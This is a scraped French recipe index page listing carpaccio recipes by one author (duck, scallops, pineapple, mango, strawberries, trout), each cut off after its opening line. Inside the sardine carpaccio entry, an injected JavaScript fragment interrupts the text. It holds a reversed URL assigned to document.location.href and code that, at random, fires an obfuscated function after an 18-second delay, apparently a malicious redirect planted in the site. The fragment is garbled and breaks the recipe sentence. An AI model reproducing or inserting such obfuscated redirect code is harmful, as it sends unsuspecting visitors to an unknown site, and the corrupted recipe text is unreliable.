Recipes From Cuisine: Carpaccio
Carpaccio de magret de canard fumé au melon
Rincez, essorez, ciselez le cerfeuil. Coupez-les melons en quatre, ôtez les graines et coupez la ...
Christine. Lire la suiteCarpaccio de canard
Avec un couteau économe faites des copeaux de parmesan. Dans une poêle sans matière grasse ...
Christine. Lire la suiteCarpaccio de Saint-Jacques
Coupez-les noix Saint-Jacques encore congelées en fines tranches et les laissez décongelées dans le réfrigérateur ...
Christine. Lire la suiteCarpaccio d’ananas au fromage blanc
Lavez, séchez l’orange. Prélevez le zeste de l’orange et l’émincer. Pressez les citrons verts, ainsi ...
Christine.. Lire la suiteCarpaccio de mangues
Pelez, Coupez-les mangues en tranches fines. Pressez le jus de citron. Dans une casserole faites ...
Christine.. Lire la suiteCarpaccio de fraises au basilic et au vinaigre balsamique
Ne pas rincer les fraises. Les équeuter, les couper en fines lamelles. Déposez-les en rosaces ...
Christine.. Lire la suiteCarpaccio de courgettes à la chair de crabe
Égouttez puis écrasez la chair de crabe avec une fourchette, en ajoutant la pincée de ...
Christine. Lire la suiteCarpaccio de sardines à la ciboulette
Égouttez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates pelées. Dans un récipient mélangez 4 ...
Christine Lire la suiteCarpaccio de truite à la crème de câpres
Rincez, séchez les filets de truite, disposez les dans une assiette, recouverte d’un film alimentaire.
Christine Lire la suite